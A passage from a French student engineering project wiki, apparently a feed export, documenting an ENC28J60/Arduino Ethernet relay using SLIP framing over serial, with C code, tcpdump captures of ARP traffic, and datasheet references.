unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+ENC28J60  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39206</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39206"/>
				<updated>2017-02-15T16:01:56Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* La programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
